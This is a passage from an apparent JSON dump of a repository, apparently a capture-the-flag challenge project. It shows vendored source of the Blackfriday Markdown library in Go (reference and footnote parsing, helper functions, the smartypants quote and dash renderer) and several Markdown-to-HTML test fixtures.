&& data[i] != '\\n' && data[i] != '\\r' && data[i] != ']' {\n\t\ti++\n\t}\n\tif i >= len(data) || data[i] != ']' {\n\t\treturn 0\n\t}\n\tidEnd := i\n\n\t// spacer: colon (space | tab)* newline? (space | tab)*\n\ti++\n\tif i >= len(data) || data[i] != ':' {\n\t\treturn 0\n\t}\n\ti++\n\tfor i < len(data) && (data[i] == ' ' || data[i] == '\\t') {\n\t\ti++\n\t}\n\tif i < len(data) && (data[i] == '\\n' || data[i] == '\\r') {\n\t\ti++\n\t\tif i < len(data) && data[i] == '\\n' && data[i-1] == '\\r' {\n\t\t\ti++\n\t\t}\n\t}\n\tfor i < len(data) && (data[i] == ' ' || data[i] == '\\t') {\n\t\ti++\n\t}\n\tif i >= len(data) {\n\t\treturn 0\n\t}\n\n\tvar (\n\t\tlinkOffset, linkEnd   int\n\t\ttitleOffset, titleEnd int\n\t\tlineEnd               int\n\t\traw                   []byte\n\t\thasBlock              bool\n\t)\n\n\tif p.flags&EXTENSION_FOOTNOTES != 0 && noteId != 0 {\n\t\tlinkOffset, linkEnd, raw, hasBlock = scanFootnote(p, data, i, tabSize)\n\t\tlineEnd = linkEnd\n\t} else {\n\t\tlinkOffset, linkEnd, titleOffset, titleEnd, lineEnd = scanLinkRef(p, data, i)\n\t}\n\tif lineEnd == 0 {\n\t\treturn 0\n\t}\n\n\t// a valid ref has been found\n\n\tref := &reference{\n\t\tnoteId:   noteId,\n\t\thasBlock: hasBlock,\n\t}\n\n\tif noteId > 0 {\n\t\t// reusing the link field for the id since footnotes don't have links\n\t\tref.link = data[idOffset:idEnd]\n\t\t// if footnote, it's not really a title, it's the contained text\n\t\tref.title = raw\n\t} else {\n\t\tref.link = data[linkOffset:linkEnd]\n\t\tref.title = data[titleOffset:titleEnd]\n\t}\n\n\t// id matches are case-insensitive\n\tid := string(bytes.ToLower(data[idOffset:idEnd]))\n\n\tp.refs[id] = ref\n\n\treturn lineEnd\n}\n\nfunc scanLinkRef(p *parser, data []byte, i int) (linkOffset, linkEnd, titleOffset, titleEnd, lineEnd int) {\n\t// link: whitespace-free sequence, optionally between angle brackets\n\tif data[i] == '<' {\n\t\ti++\n\t}\n\tlinkOffset = i\n\tfor i < len(data) && data[i] != ' ' && data[i] != '\\t' && data[i] != '\\n' && data[i] != '\\r' {\n\t\ti++\n\t}\n\tlinkEnd = i\n\tif data[linkOffset] == '<' && data[linkEnd-1] == '>' {\n\t\tlinkOffset++\n\t\tlinkEnd--\n\t}\n\n\t// optional spacer: (space | tab)* (newline | '\\'' | '\"' | '(' )\n\tfor i < len(data) && (data[i] == ' ' || data[i] == '\\t') {\n\t\ti++\n\t}\n\tif i < len(data) && data[i] != '\\n' && data[i] != '\\r' && data[i] != '\\'' && data[i] != '\"' && data[i] != '(' {\n\t\treturn\n\t}\n\n\t// compute end-of-line\n\tif i >= len(data) || data[i] == '\\r' || data[i] == '\\n' {\n\t\tlineEnd = i\n\t}\n\tif i+1 < len(data) && data[i] == '\\r' && data[i+1] == '\\n' {\n\t\tlineEnd++\n\t}\n\n\t// optional (space|tab)* spacer after a newline\n\tif lineEnd > 0 {\n\t\ti = lineEnd + 1\n\t\tfor i < len(data) && (data[i] == ' ' || data[i] == '\\t') {\n\t\t\ti++\n\t\t}\n\t}\n\n\t// optional title: any non-newline sequence enclosed in '\"() alone on its line\n\tif i+1 < len(data) && (data[i] == '\\'' || data[i] == '\"' || data[i] == '(') {\n\t\ti++\n\t\ttitleOffset = i\n\n\t\t// look for EOL\n\t\tfor i < len(data) && data[i] != '\\n' && data[i] != '\\r' {\n\t\t\ti++\n\t\t}\n\t\tif i+1 < len(data) && data[i] == '\\n' && data[i+1] == '\\r' {\n\t\t\ttitleEnd = i + 1\n\t\t} else {\n\t\t\ttitleEnd = i\n\t\t}\n\n\t\t// step back\n\t\ti--\n\t\tfor i > titleOffset && (data[i] == ' ' || data[i] == '\\t') {\n\t\t\ti--\n\t\t}\n\t\tif i > titleOffset && (data[i] == '\\'' || data[i] == '\"' || data[i] == ')') {\n\t\t\tlineEnd = titleEnd\n\t\t\ttitleEnd = i\n\t\t}\n\t}\n\n\treturn\n}\n\n// The first bit of this logic is the same as (*parser).listItem, but the rest\n// is much simpler. This function simply finds the entire block and shifts it\n// over by one tab if it is indeed a block (just returns the line if it's not).\n// blockEnd is the end of the section in the input buffer, and contents is the\n// extracted text that was shifted over one tab. It will need to be rendered at\n// the end of the document.\nfunc scanFootnote(p *parser, data []byte, i, indentSize int) (blockStart, blockEnd int, contents []byte, hasBlock bool) {\n\tif i == 0 || len(data) == 0 {\n\t\treturn\n\t}\n\n\t// skip leading whitespace on first line\n\tfor i < len(data) && data[i] == ' ' {\n\t\ti++\n\t}\n\n\tblockStart = i\n\n\t// find the end of the line\n\tblockEnd = i\n\tfor i < len(data) && data[i-1] != '\\n' {\n\t\ti++\n\t}\n\n\t// get working buffer\n\tvar raw bytes.Buffer\n\n\t// put the first line into the working buffer\n\traw.Write(data[blockEnd:i])\n\tblockEnd = i\n\n\t// process the following lines\n\tcontainsBlankLine := false\n\ngatherLines:\n\tfor blockEnd < len(data) {\n\t\ti++\n\n\t\t// find the end of this line\n\t\tfor i < len(data) && data[i-1] != '\\n' {\n\t\t\ti++\n\t\t}\n\n\t\t// if it is an empty line, guess that it is part of this item\n\t\t// and move on to the next line\n\t\tif p.isEmpty(data[blockEnd:i]) > 0 {\n\t\t\tcontainsBlankLine = true\n\t\t\tblockEnd = i\n\t\t\tcontinue\n\t\t}\n\n\t\tn := 0\n\t\tif n = isIndented(data[blockEnd:i], indentSize); n == 0 {\n\t\t\t// this is the end of the block.\n\t\t\t// we don't want to include this last line in the index.\n\t\t\tbreak gatherLines\n\t\t}\n\n\t\t// if there were blank lines before this one, insert a new one now\n\t\tif containsBlankLine {\n\t\t\traw.WriteByte('\\n')\n\t\t\tcontainsBlankLine = false\n\t\t}\n\n\t\t// get rid of that first tab, write to buffer\n\t\traw.Write(data[blockEnd+n : i])\n\t\thasBlock = true\n\n\t\tblockEnd = i\n\t}\n\n\tif data[blockEnd-1] != '\\n' {\n\t\traw.WriteByte('\\n')\n\t}\n\n\tcontents = raw.Bytes()\n\n\treturn\n}\n\n//\n//\n// Miscellaneous helper functions\n//\n//\n\n// Test if a character is a punctuation symbol.\n// Taken from a private function in regexp in the stdlib.\nfunc ispunct(c byte) bool {\n\tfor _, r := range []byte(\"!\\\"#$%&'()*+,-./:;<=>?@[\\\\]^_`{|}~\") {\n\t\tif c == r {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// Test if a character is a whitespace character.\nfunc isspace(c byte) bool {\n\treturn c == ' ' || c == '\\t' || c == '\\n' || c == '\\r' || c == '\\f' || c == '\\v'\n}\n\n// Test if a character is letter.\nfunc isletter(c byte) bool {\n\treturn (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')\n}\n\n// Test if a character is a letter or a digit.\n// TODO: check when this is looking for ASCII alnum and when it should use unicode\nfunc isalnum(c byte) bool {\n\treturn (c >= '0' && c <= '9') || isletter(c)\n}\n\n// Replace tab characters with spaces, aligning to the next TAB_SIZE column.\n// always ends output with a newline\nfunc expandTabs(out *bytes.Buffer, line []byte, tabSize int) {\n\t// first, check for common cases: no tabs, or only tabs at beginning of line\n\ti, prefix := 0, 0\n\tslowcase := false\n\tfor i = 0; i < len(line); i++ {\n\t\tif line[i] == '\\t' {\n\t\t\tif prefix == i {\n\t\t\t\tprefix++\n\t\t\t} else {\n\t\t\t\tslowcase = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// no need to decode runes if all tabs are at the beginning of the line\n\tif !slowcase {\n\t\tfor i = 0; i < prefix*tabSize; i++ {\n\t\t\tout.WriteByte(' ')\n\t\t}\n\t\tout.Write(line[prefix:])\n\t\treturn\n\t}\n\n\t// the slow case: we need to count runes to figure out how\n\t// many spaces to insert for each tab\n\tcolumn := 0\n\ti = 0\n\tfor i < len(line) {\n\t\tstart := i\n\t\tfor i < len(line) && line[i] != '\\t' {\n\t\t\t_, size := utf8.DecodeRune(line[i:])\n\t\t\ti += size\n\t\t\tcolumn++\n\t\t}\n\n\t\tif i > start {\n\t\t\tout.Write(line[start:i])\n\t\t}\n\n\t\tif i >= len(line) {\n\t\t\tbreak\n\t\t}\n\n\t\tfor {\n\t\t\tout.WriteByte(' ')\n\t\t\tcolumn++\n\t\t\tif column%tabSize == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\ti++\n\t}\n}\n\n// Find if a line counts as indented or not.\n// Returns number of characters the indent is (0 = not indented).\nfunc isIndented(data []byte, indentSize int) int {\n\tif len(data) == 0 {\n\t\treturn 0\n\t}\n\tif data[0] == '\\t' {\n\t\treturn 1\n\t}\n\tif len(data) < indentSize {\n\t\treturn 0\n\t}\n\tfor i := 0; i < indentSize; i++ {\n\t\tif data[i] != ' ' {\n\t\t\treturn 0\n\t\t}\n\t}\n\treturn indentSize\n}\n\n// Create a url-safe slug for fragments\nfunc slugify(in []byte) []byte {\n\tif len(in) == 0 {\n\t\treturn in\n\t}\n\tout := make([]byte, 0, len(in))\n\tsym := false\n\n\tfor _, ch := range in {\n\t\tif isalnum(ch) {\n\t\t\tsym = false\n\t\t\tout = append(out, ch)\n\t\t} else if sym {\n\t\t\tcontinue\n\t\t} else {\n\t\t\tout = append(out, '-')\n\t\t\tsym = true\n\t\t}\n\t}\n\tvar a, b int\n\tvar ch byte\n\tfor a, ch = range out {\n\t\tif ch != '-' {\n\t\t\tbreak\n\t\t}\n\t}\n\tfor b = len(out) - 1; b > 0; b-- {\n\t\tif out[b] != '-' {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn out[a : b+1]\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/smartypants.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n//\n// SmartyPants rendering\n//\n//\n\npackage blackfriday\n\nimport (\n\t\"bytes\"\n)\n\ntype smartypantsData struct {\n\tinSingleQuote bool\n\tinDoubleQuote bool\n}\n\nfunc wordBoundary(c byte) bool {\n\treturn c == 0 || isspace(c) || ispunct(c)\n}\n\nfunc tolower(c byte) byte {\n\tif c >= 'A' && c <= 'Z' {\n\t\treturn c - 'A' + 'a'\n\t}\n\treturn c\n}\n\nfunc isdigit(c byte) bool {\n\treturn c >= '0' && c <= '9'\n}\n\nfunc smartQuoteHelper(out *bytes.Buffer, previousChar byte, nextChar byte, quote byte, isOpen *bool) bool {\n\t// edge of the buffer is likely to be a tag that we don't get to see,\n\t// so we treat it like text sometimes\n\n\t// enumerate all sixteen possibilities for (previousChar, nextChar)\n\t// each can be one of {0, space, punct, other}\n\tswitch {\n\tcase previousChar == 0 && nextChar == 0:\n\t\t// context is not any help here, so toggle\n\t\t*isOpen = !*isOpen\n\tcase isspace(previousChar) && nextChar == 0:\n\t\t// [ \"] might be [ \"<code>foo...]\n\t\t*isOpen = true\n\tcase ispunct(previousChar) && nextChar == 0:\n\t\t// [!\"] hmm... could be [Run!\"] or [(\"<code>...]\n\t\t*isOpen = false\n\tcase /* isnormal(previousChar) && */ nextChar == 0:\n\t\t// [a\"] is probably a close\n\t\t*isOpen = false\n\tcase previousChar == 0 && isspace(nextChar):\n\t\t// [\" ] might be [...foo</code>\" ]\n\t\t*isOpen = false\n\tcase isspace(previousChar) && isspace(nextChar):\n\t\t// [ \" ] context is not any help here, so toggle\n\t\t*isOpen = !*isOpen\n\tcase ispunct(previousChar) && isspace(nextChar):\n\t\t// [!\" ] is probably a close\n\t\t*isOpen = false\n\tcase /* isnormal(previousChar) && */ isspace(nextChar):\n\t\t// [a\" ] this is one of the easy cases\n\t\t*isOpen = false\n\tcase previousChar == 0 && ispunct(nextChar):\n\t\t// [\"!] hmm... could be [\"$1.95] or [</code>\"!...]\n\t\t*isOpen = false\n\tcase isspace(previousChar) && ispunct(nextChar):\n\t\t// [ \"!] looks more like [ \"$1.95]\n\t\t*isOpen = true\n\tcase ispunct(previousChar) && ispunct(nextChar):\n\t\t// [!\"!] context is not any help here, so toggle\n\t\t*isOpen = !*isOpen\n\tcase /* isnormal(previousChar) && */ ispunct(nextChar):\n\t\t// [a\"!] is probably a close\n\t\t*isOpen = false\n\tcase previousChar == 0 /* && isnormal(nextChar) */ :\n\t\t// [\"a] is probably an open\n\t\t*isOpen = true\n\tcase isspace(previousChar) /* && isnormal(nextChar) */ :\n\t\t// [ \"a] this is one of the easy cases\n\t\t*isOpen = true\n\tcase ispunct(previousChar) /* && isnormal(nextChar) */ :\n\t\t// [!\"a] is probably an open\n\t\t*isOpen = true\n\tdefault:\n\t\t// [a'b] maybe a contraction?\n\t\t*isOpen = false\n\t}\n\n\tout.WriteByte('&')\n\tif *isOpen {\n\t\tout.WriteByte('l')\n\t} else {\n\t\tout.WriteByte('r')\n\t}\n\tout.WriteByte(quote)\n\tout.WriteString(\"quo;\")\n\treturn true\n}\n\nfunc smartSingleQuote(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 2 {\n\t\tt1 := tolower(text[1])\n\n\t\tif t1 == '\\'' {\n\t\t\tnextChar := byte(0)\n\t\t\tif len(text) >= 3 {\n\t\t\t\tnextChar = text[2]\n\t\t\t}\n\t\t\tif smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) {\n\t\t\t\treturn 1\n\t\t\t}\n\t\t}\n\n\t\tif (t1 == 's' || t1 == 't' || t1 == 'm' || t1 == 'd') && (len(text) < 3 || wordBoundary(text[2])) {\n\t\t\tout.WriteString(\"&rsquo;\")\n\t\t\treturn 0\n\t\t}\n\n\t\tif len(text) >= 3 {\n\t\t\tt2 := tolower(text[2])\n\n\t\t\tif ((t1 == 'r' && t2 == 'e') || (t1 == 'l' && t2 == 'l') || (t1 == 'v' && t2 == 'e')) &&\n\t\t\t\t(len(text) < 4 || wordBoundary(text[3])) {\n\t\t\t\tout.WriteString(\"&rsquo;\")\n\t\t\t\treturn 0\n\t\t\t}\n\t\t}\n\t}\n\n\tnextChar := byte(0)\n\tif len(text) > 1 {\n\t\tnextChar = text[1]\n\t}\n\tif smartQuoteHelper(out, previousChar, nextChar, 's', &smrt.inSingleQuote) {\n\t\treturn 0\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartParens(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 3 {\n\t\tt1 := tolower(text[1])\n\t\tt2 := tolower(text[2])\n\n\t\tif t1 == 'c' && t2 == ')' {\n\t\t\tout.WriteString(\"&copy;\")\n\t\t\treturn 2\n\t\t}\n\n\t\tif t1 == 'r' && t2 == ')' {\n\t\t\tout.WriteString(\"&reg;\")\n\t\t\treturn 2\n\t\t}\n\n\t\tif len(text) >= 4 && t1 == 't' && t2 == 'm' && text[3] == ')' {\n\t\t\tout.WriteString(\"&trade;\")\n\t\t\treturn 3\n\t\t}\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartDash(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 2 {\n\t\tif text[1] == '-' {\n\t\t\tout.WriteString(\"&mdash;\")\n\t\t\treturn 1\n\t\t}\n\n\t\tif wordBoundary(previousChar) && wordBoundary(text[1]) {\n\t\t\tout.WriteString(\"&ndash;\")\n\t\t\treturn 0\n\t\t}\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartDashLatex(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 3 && text[1] == '-' && text[2] == '-' {\n\t\tout.WriteString(\"&mdash;\")\n\t\treturn 2\n\t}\n\tif len(text) >= 2 && text[1] == '-' {\n\t\tout.WriteString(\"&ndash;\")\n\t\treturn 1\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartAmp(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif bytes.HasPrefix(text, []byte(\"&quot;\")) {\n\t\tnextChar := byte(0)\n\t\tif len(text) >= 7 {\n\t\t\tnextChar = text[6]\n\t\t}\n\t\tif smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) {\n\t\t\treturn 5\n\t\t}\n\t}\n\n\tif bytes.HasPrefix(text, []byte(\"&#0;\")) {\n\t\treturn 3\n\t}\n\n\tout.WriteByte('&')\n\treturn 0\n}\n\nfunc smartPeriod(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 3 && text[1] == '.' && text[2] == '.' {\n\t\tout.WriteString(\"&hellip;\")\n\t\treturn 2\n\t}\n\n\tif len(text) >= 5 && text[1] == ' ' && text[2] == '.' && text[3] == ' ' && text[4] == '.' {\n\t\tout.WriteString(\"&hellip;\")\n\t\treturn 4\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartBacktick(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif len(text) >= 2 && text[1] == '`' {\n\t\tnextChar := byte(0)\n\t\tif len(text) >= 3 {\n\t\t\tnextChar = text[2]\n\t\t}\n\t\tif smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) {\n\t\t\treturn 1\n\t\t}\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartNumberGeneric(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif wordBoundary(previousChar) && len(text) >= 3 {\n\t\t// is it of the form digits/digits(word boundary)?, i.e., \\d+/\\d+\\b\n\t\t// note: check for regular slash (/) or fraction slash (⁄, 0x2044, or 0xe2 81 84 in utf-8)\n\t\tnumEnd := 0\n\t\tfor len(text) > numEnd && isdigit(text[numEnd]) {\n\t\t\tnumEnd++\n\t\t}\n\t\tif numEnd == 0 {\n\t\t\tout.WriteByte(text[0])\n\t\t\treturn 0\n\t\t}\n\t\tdenStart := numEnd + 1\n\t\tif len(text) > numEnd+3 && text[numEnd] == 0xe2 && text[numEnd+1] == 0x81 && text[numEnd+2] == 0x84 {\n\t\t\tdenStart = numEnd + 3\n\t\t} else if len(text) < numEnd+2 || text[numEnd] != '/' {\n\t\t\tout.WriteByte(text[0])\n\t\t\treturn 0\n\t\t}\n\t\tdenEnd := denStart\n\t\tfor len(text) > denEnd && isdigit(text[denEnd]) {\n\t\t\tdenEnd++\n\t\t}\n\t\tif denEnd == denStart {\n\t\t\tout.WriteByte(text[0])\n\t\t\treturn 0\n\t\t}\n\t\tif len(text) == denEnd || wordBoundary(text[denEnd]) {\n\t\t\tout.WriteString(\"<sup>\")\n\t\t\tout.Write(text[:numEnd])\n\t\t\tout.WriteString(\"</sup>&frasl;<sub>\")\n\t\t\tout.Write(text[denStart:denEnd])\n\t\t\tout.WriteString(\"</sub>\")\n\t\t\treturn denEnd - 1\n\t\t}\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartNumber(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tif wordBoundary(previousChar) && len(text) >= 3 {\n\t\tif text[0] == '1' && text[1] == '/' && text[2] == '2' {\n\t\t\tif len(text) < 4 || wordBoundary(text[3]) {\n\t\t\t\tout.WriteString(\"&frac12;\")\n\t\t\t\treturn 2\n\t\t\t}\n\t\t}\n\n\t\tif text[0] == '1' && text[1] == '/' && text[2] == '4' {\n\t\t\tif len(text) < 4 || wordBoundary(text[3]) || (len(text) >= 5 && tolower(text[3]) == 't' && tolower(text[4]) == 'h') {\n\t\t\t\tout.WriteString(\"&frac14;\")\n\t\t\t\treturn 2\n\t\t\t}\n\t\t}\n\n\t\tif text[0] == '3' && text[1] == '/' && text[2] == '4' {\n\t\t\tif len(text) < 4 || wordBoundary(text[3]) || (len(text) >= 6 && tolower(text[3]) == 't' && tolower(text[4]) == 'h' && tolower(text[5]) == 's') {\n\t\t\t\tout.WriteString(\"&frac34;\")\n\t\t\t\treturn 2\n\t\t\t}\n\t\t}\n\t}\n\n\tout.WriteByte(text[0])\n\treturn 0\n}\n\nfunc smartDoubleQuote(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\tnextChar := byte(0)\n\tif len(text) > 1 {\n\t\tnextChar = text[1]\n\t}\n\tif !smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) {\n\t\tout.WriteString(\"&quot;\")\n\t}\n\n\treturn 0\n}\n\nfunc smartLeftAngle(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int {\n\ti := 0\n\n\tfor i < len(text) && text[i] != '>' {\n\t\ti++\n\t}\n\n\tout.Write(text[:i+1])\n\treturn i\n}\n\ntype smartCallback func(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int\n\ntype smartypantsRenderer [256]smartCallback\n\nfunc smartypants(flags int) *smartypantsRenderer {\n\tr := new(smartypantsRenderer)\n\tr['\"'] = smartDoubleQuote\n\tr['&'] = smartAmp\n\tr['\\''] = smartSingleQuote\n\tr['('] = smartParens\n\tif flags&HTML_SMARTYPANTS_LATEX_DASHES == 0 {\n\t\tr['-'] = smartDash\n\t} else {\n\t\tr['-'] = smartDashLatex\n\t}\n\tr['.'] = smartPeriod\n\tif flags&HTML_SMARTYPANTS_FRACTIONS == 0 {\n\t\tr['1'] = smartNumber\n\t\tr['3'] = smartNumber\n\t} else {\n\t\tfor ch := '1'; ch <= '9'; ch++ {\n\t\t\tr[ch] = smartNumberGeneric\n\t\t}\n\t}\n\tr['<'] = smartLeftAngle\n\tr['`'] = smartBacktick\n\treturn r\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Amps and angle encoding.html",
    "content": "<p>AT&amp;T has an ampersand in their name.</p>\n\n<p>AT&amp;T is another way to write it.</p>\n\n<p>This &amp; that.</p>\n\n<p>4 &lt; 5.</p>\n\n<p>6 &gt; 5.</p>\n\n<p>Here's a <a href=\"http://example.com/?foo=1&amp;bar=2\">link</a> with an ampersand in the URL.</p>\n\n<p>Here's a link with an amersand in the link text: <a href=\"http://att.com/\" title=\"AT&amp;T\">AT&amp;T</a>.</p>\n\n<p>Here's an inline <a href=\"/script?foo=1&amp;bar=2\">link</a>.</p>\n\n<p>Here's an inline <a href=\"/script?foo=1&amp;bar=2\">link</a>.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Amps and angle encoding.text",
    "content": "AT&T has an ampersand in their name.\n\nAT&amp;T is another way to write it.\n\nThis & that.\n\n4 < 5.\n\n6 > 5.\n\nHere's a [link] [1] with an ampersand in the URL.\n\nHere's a link with an amersand in the link text: [AT&T] [2].\n\nHere's an inline [link](/script?foo=1&bar=2).\n\nHere's an inline [link](</script?foo=1&bar=2>).\n\n\n[1]: http://example.com/?foo=1&bar=2\n[2]: http://att.com/  \"AT&T\""
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Auto links.html",
    "content": "<p>Link: <a href=\"http://example.com/\">http://example.com/</a>.</p>\n\n<p>With an ampersand: <a href=\"http://example.com/?foo=1&amp;bar=2\">http://example.com/?foo=1&amp;bar=2</a></p>\n\n<ul>\n<li>In a list?</li>\n<li><a href=\"http://example.com/\">http://example.com/</a></li>\n<li>It should.</li>\n</ul>\n\n<blockquote>\n<p>Blockquoted: <a href=\"http://example.com/\">http://example.com/</a></p>\n</blockquote>\n\n<p>Auto-links should not occur here: <code>&lt;http://example.com/&gt;</code></p>\n\n<pre><code>or here: &lt;http://example.com/&gt;\n</code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Auto links.text",
    "content": "Link: <http://example.com/>.\n\nWith an ampersand: <http://example.com/?foo=1&bar=2>\n\n* In a list?\n* <http://example.com/>\n* It should.\n\n> Blockquoted: <http://example.com/>\n\nAuto-links should not occur here: `<http://example.com/>`\n\n\tor here: <http://example.com/>"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Backslash escapes.html",
    "content": "<p>These should all get escaped:</p>\n\n<p>Backslash: \\</p>\n\n<p>Backtick: `</p>\n\n<p>Asterisk: *</p>\n\n<p>Underscore: _</p>\n\n<p>Left brace: {</p>\n\n<p>Right brace: }</p>\n\n<p>Left bracket: [</p>\n\n<p>Right bracket: ]</p>\n\n<p>Left paren: (</p>\n\n<p>Right paren: )</p>\n\n<p>Greater-than: &gt;</p>\n\n<p>Hash: #</p>\n\n<p>Period: .</p>\n\n<p>Bang: !</p>\n\n<p>Plus: +</p>\n\n<p>Minus: -</p>\n\n<p>These should not, because they occur within a code block:</p>\n\n<pre><code>Backslash: \\\\\n\nBacktick: \\`\n\nAsterisk: \\*\n\nUnderscore: \\_\n\nLeft brace: \\{\n\nRight brace: \\}\n\nLeft bracket: \\[\n\nRight bracket: \\]\n\nLeft paren: \\(\n\nRight paren: \\)\n\nGreater-than: \\&gt;\n\nHash: \\#\n\nPeriod: \\.\n\nBang: \\!\n\nPlus: \\+\n\nMinus: \\-\n</code></pre>\n\n<p>Nor should these, which occur in code spans:</p>\n\n<p>Backslash: <code>\\\\</code></p>\n\n<p>Backtick: <code>\\`</code></p>\n\n<p>Asterisk: <code>\\*</code></p>\n\n<p>Underscore: <code>\\_</code></p>\n\n<p>Left brace: <code>\\{</code></p>\n\n<p>Right brace: <code>\\}</code></p>\n\n<p>Left bracket: <code>\\[</code></p>\n\n<p>Right bracket: <code>\\]</code></p>\n\n<p>Left paren: <code>\\(</code></p>\n\n<p>Right paren: <code>\\)</code></p>\n\n<p>Greater-than: <code>\\&gt;</code></p>\n\n<p>Hash: <code>\\#</code></p>\n\n<p>Period: <code>\\.</code></p>\n\n<p>Bang: <code>\\!</code></p>\n\n<p>Plus: <code>\\+</code></p>\n\n<p>Minus: <code>\\-</code></p>\n\n<p>These should get escaped, even though they're matching pairs for\nother Markdown constructs:</p>\n\n<p>*asterisks*</p>\n\n<p>_underscores_</p>\n\n<p>`backticks`</p>\n\n<p>This is a code span with a literal backslash-backtick sequence: <code>\\`</code></p>\n\n<p>This is a tag with unescaped backticks <span attr='`ticks`'>bar</span>.</p>\n\n<p>This is a tag with backslashes <span attr='\\\\backslashes\\\\'>bar</span>.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Backslash escapes.text",
    "content": "These should all get escaped:\n\nBackslash: \\\\\n\nBacktick: \\`\n\nAsterisk: \\*\n\nUnderscore: \\_\n\nLeft brace: \\{\n\nRight brace: \\}\n\nLeft bracket: \\[\n\nRight bracket: \\]\n\nLeft paren: \\(\n\nRight paren: \\)\n\nGreater-than: \\>\n\nHash: \\#\n\nPeriod: \\.\n\nBang: \\!\n\nPlus: \\+\n\nMinus: \\-\n\n\n\nThese should not, because they occur within a code block:\n\n\tBackslash: \\\\\n\n\tBacktick: \\`\n\n\tAsterisk: \\*\n\n\tUnderscore: \\_\n\n\tLeft brace: \\{\n\n\tRight brace: \\}\n\n\tLeft bracket: \\[\n\n\tRight bracket: \\]\n\n\tLeft paren: \\(\n\n\tRight paren: \\)\n\n\tGreater-than: \\>\n\n\tHash: \\#\n\n\tPeriod: \\.\n\n\tBang: \\!\n\n\tPlus: \\+\n\n\tMinus: \\-\n\n\nNor should these, which occur in code spans:\n\nBackslash: `\\\\`\n\nBacktick: `` \\` ``\n\nAsterisk: `\\*`\n\nUnderscore: `\\_`\n\nLeft brace: `\\{`\n\nRight brace: `\\}`\n\nLeft bracket: `\\[`\n\nRight bracket: `\\]`\n\nLeft paren: `\\(`\n\nRight paren: `\\)`\n\nGreater-than: `\\>`\n\nHash: `\\#`\n\nPeriod: `\\.`\n\nBang: `\\!`\n\nPlus: `\\+`\n\nMinus: `\\-`\n\n\nThese should get escaped, even though they're matching pairs for\nother Markdown constructs:\n\n\\*asterisks\\*\n\n\\_underscores\\_\n\n\\`backticks\\`\n\nThis is a code span with a literal backslash-backtick sequence: `` \\` ``\n\nThis is a tag with unescaped backticks <span attr='`ticks`'>bar</span>.\n\nThis is a tag with backslashes <span attr='\\\\backslashes\\\\'>bar</span>.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Blockquotes with code blocks.html",
    "content": "<blockquote>\n<p>Example:</p>\n\n<pre><code>sub status {\n    print &quot;working&quot;;\n}\n</code></pre>\n\n<p>Or:</p>\n\n<pre><code>sub status {\n    return &quot;working&quot;;\n}\n</code></pre>\n</blockquote>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Blockquotes with code blocks.text",
    "content": "> Example:\n> \n>     sub status {\n>         print \"working\";\n>     }\n> \n> Or:\n> \n>     sub status {\n>         return \"working\";\n>     }\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Blocks.html",
    "content": "<pre><code>code block on the first line\n</code></pre>\n\n<p>Regular text.</p>\n\n<pre><code>code block indented by spaces\n</code></pre>\n\n<p>Regular text.</p>\n\n<pre><code>the lines in this block  \nall contain trailing spaces  \n</code></pre>\n\n<p>Regular Text.</p>\n\n<pre><code>code block on the last line\n</code></pre>\n"
  },
  {
